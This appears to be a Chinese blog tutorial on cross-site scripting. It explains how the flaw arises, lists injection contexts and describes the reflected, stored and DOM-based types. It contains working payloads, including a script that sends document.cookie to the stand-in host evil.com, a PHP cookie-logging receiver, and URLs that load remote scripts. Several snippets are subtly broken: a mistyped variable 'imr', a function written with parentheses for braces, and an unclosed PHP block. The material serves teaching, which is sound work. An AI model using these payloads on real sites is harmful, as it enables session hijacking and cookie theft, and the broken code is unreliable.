xss(跨站脚本攻击)详解

1. xss简介


1.1 概念


​ 跨站脚本攻击,英文全称Cross Site Script.

​ xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.

1.2 成因


​ 网站对用户的输入不加以处理,直接输入到页面,就有可能造成xss.

​ 比如下例:

<?php
	$input = $_GET['parm'];
	echo $input;
?>

​ 若用户输入<script> alert("xss");</script> 就可以在页面弹窗

常见场景

  • 标签内的xss <div>${Xss}<div/>

  • 属性里面的xss<div class="${XSS}"></div> <a href="${xss}"><a>

  • 事件中的xss<img src=x onerror="${xss}">

  • css里面的xss

    <style type="text/css">
        body{
         background-image:url(${xss});}
    </style>
    ${
         xss}:javascript:alert(/xss/)
    

    <div style="background-image:url(javascript:alert('XSS'))">

    <style>
      body {
         background-image: url("javascript:alert('XSS')");}
    </style>
    

    IE5及其以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞:

    <div style="width: expression(alert('XSS'));">

    <img src="#" style="xss:expression(alert(/XSS/));">
    <style>
      body {
         background-image: expression(alert("XSS"));}
    </style>
    
    <div style="list-style-image:url(javascript:alert('XSS'))">
    <img style="background-image: url(javascript:alert('XSS'))">
    

    @import和link方式都可以轻松地导入外部含有XSS代码的样式表文件:

    <link rel="stylesheet" href="http://www.evil.com/attack.css">
    <style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
    

    @import还有一个特性,就是能直接执行JavaScript代码:

    <style> @import 'javascript:alert("XSS")';</style>

  • Script标签

    <script>
        var username = "$username";
    </script>
    $username=1" alert(/xss/);//
    
  • <input name="1" value="" > 输入的单引号/双引号被转义 标签内进行突破

    oninput=alert(1) //

    onchange=alert(1)//

1.3分类


​ xss根据效果不同,分成以下几类

  • 反射型xss

    用户的输入,最终会由浏览器反馈给用户

    http://www.test.com?xs=<script>alert("1");</script>

    后端页面:

    <?php
    	$input = $_GET['xs'];
    	echo $input;
    ?>
    

    数据由服务端处理,传回来,最终又反馈到浏览器

    反射型xss利用通常需要黑客诱导用户点击恶意链接等.

  • 储存型xss

    储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.

    比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.

    所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码

  • Dom型xss

    Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面

    比如:

    <script>
        function test()(
    		var str = document.getElementById("text").value;
    		document.getElementById("x").innerHTML = str;
    	)
    </script>
    
    <html>
        <input type="text" id="text" value=""/>
        <div id="x">
            a
        </div>
    </html>
    

2.xss攻击


2.1 利用方式


  • 通过xss加载恶意代码

http://www.test.com?xss=<script src=http://www.a.com/1.js></script>

  • xss窃取cookie

    var img = document.createElement("img");
    imr.src = "http://www.evil.com?"+escape(document.cookie);
    <!--escape对字符进行编码-->
    document.body.appendChild(img);
    

    这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie

    也可以在服务器接收

    <?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt", "a");
    fwrite($log, $cookie ."\n");
    fclose($log)
  • 3
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值